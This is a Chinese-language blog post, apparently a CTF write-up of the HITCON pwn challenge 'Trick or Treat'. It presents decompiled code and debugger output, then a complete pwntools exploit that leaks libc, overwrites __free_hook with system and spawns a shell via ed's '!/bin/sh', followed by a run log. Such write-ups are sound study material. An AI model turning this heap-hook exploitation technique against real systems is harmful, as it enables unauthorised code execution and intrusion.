Jcxp's blog

hitcon-ctf-pwn-学习

Word count: 944Reading time: 5 min
2019/12/05 Share

前言

hitcon是权重比较高的国际赛,本文学习一下其中的解题思路.

Trick or Treat

这是一道稍微有点脑洞的题目,题目本身的逻辑很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-2Ch]
__int128 size; // [rsp+8h] [rbp-28h]
__int64 v5; // [rsp+18h] [rbp-18h]
_QWORD *v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
size = 0uLL;
v5 = 0LL;
v6 = 0LL;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
write(1, "Size:", 5uLL);
__isoc99_scanf("%lu", &size);
v6 = malloc(size);
if ( v6 )
{
printf("Magic:%p\n", v6);
for ( i = 0; i <= 1; ++i )
{
write(1, "Offset & Value:", 0x10uLL);
__isoc99_scanf("%lx %lx", (char *)&size + 8);
v6[*((_QWORD *)&size + 1)] = v5;
}
}
_exit(0);
}

我们可以通过malloc一个比较大块的内存,使程序使用mmap方式申请内存,从而通过输出泄露libc的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat
0x555555754000 0x555555755000 r--p 1000 0 /home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat
0x555555755000 0x555555756000 rw-p 1000 1000 /home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ee7000 0x7ffff7fdf000 rw-p f8000 0 //申请的内存
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> x /10gx 0xffffffffff601000
0xffffffffff601000: Cannot access memory at address 0xffffffffff601000
pwndbg> x /10gx 0x7ffff7ee7010-0x10
0x7ffff7ee7000: 0x0000000000000000 0x00000000000f5002
0x7ffff7ee7010: 0x0000000000000000 0x0000000000000000
0x7ffff7ee7020: 0x0000000000000000 0x0000000000000000
0x7ffff7ee7030: 0x0000000000000000 0x0000000000000000
0x7ffff7ee7040: 0x0000000000000000 0x0000000000000000
pwndbg>

我们的目的是通过覆盖__malloc_hook或者__free_hookgetshell,但是我们无法直接覆写为system或者one_gadget的地址,因为下面这段代码中%lx意味着我们只能写abcdef1234567890这样的16进制值,这样就没办法传入/bin/bash.

1
2
3
write(1, "Offset & Value:", 0x10uLL);
__isoc99_scanf("%lx %lx", (char *)&size + 8);
v6[*((_QWORD *)&size + 1)] = v5;

这里有个小tips,ed是一个旧的默认Unix控制台编辑器。通常ed是提供给用户,它功能非常简单,但它仍然有内部的第三方命令执行功能,非常类似于vim。一旦进,ed,我们可以通过执行!'/bin/sh'来获取正常的shell,如下所示

1
2
3
4
5
 jcxp@ubuntu  ~/ctf/practice/hitcon/pwn  ed
!'/bin/sh'
$ ls
exp.py trick_or_treat
$

那接下来的利用就很简单了,我们申请的大内存中覆盖__free_hooksystem,然后通过ed执行shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#-*- coding: utf-8 -*-

from pwn import *
import time
#context.log_level = 'debug'
host, port = "192.168.37.147", "9999"
filename = "./trick_or_treat"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc

else:
libc = ELF('./libc.so')





context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(p)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
#script += "b * 0x%x\n"%(LIBC+)
gdb.attach(p,gdbscript=script)


global p
p=getConn()

p.recvuntil('Size:')

p.sendline('1000000')
debug([0x909])
p.recvuntil('Magic:')
magic=int(p.recvuntil('\n',drop=True),16)

log.info('magic='+hex(magic))

libc.address=magic-0x4da010

log.info('libc.address='+hex(libc.address))
#debug([0x928])

free_hook_off=(libc.symbols['__free_hook']-magic)/8

log.info('free_hook_off='+hex(free_hook_off))

system=libc.symbols['system']

payload='{} {}'.format(hex(free_hook_off),hex(system))

p.sendlineafter('Offset & Value:',payload)


print p.recv()

p.sendline('A'*50000) //当使用scanf输入较大字符时,会申请一个large bin,触发malloc_consolidate()

p.sendline('ed')
p.sendline('!/bin/sh')
p.interactive()

运行效果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 ⚙ jcxp@ubuntu  ~/ctf/practice/hitcon/pwn  python exp.py 
[*] '/home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './trick_or_treat': pid 12375
[*] magic=0x7ffff7ee7010
[*] libc.address=0x7ffff7a0d000
[*] free_hook_off=-0x2270d
\x00
[*] Switching to interactive mode
Offset & Value:\x00$ whoami
jcxp
$
CATALOG
  1. 1. 前言
  2. 2. Trick or Treat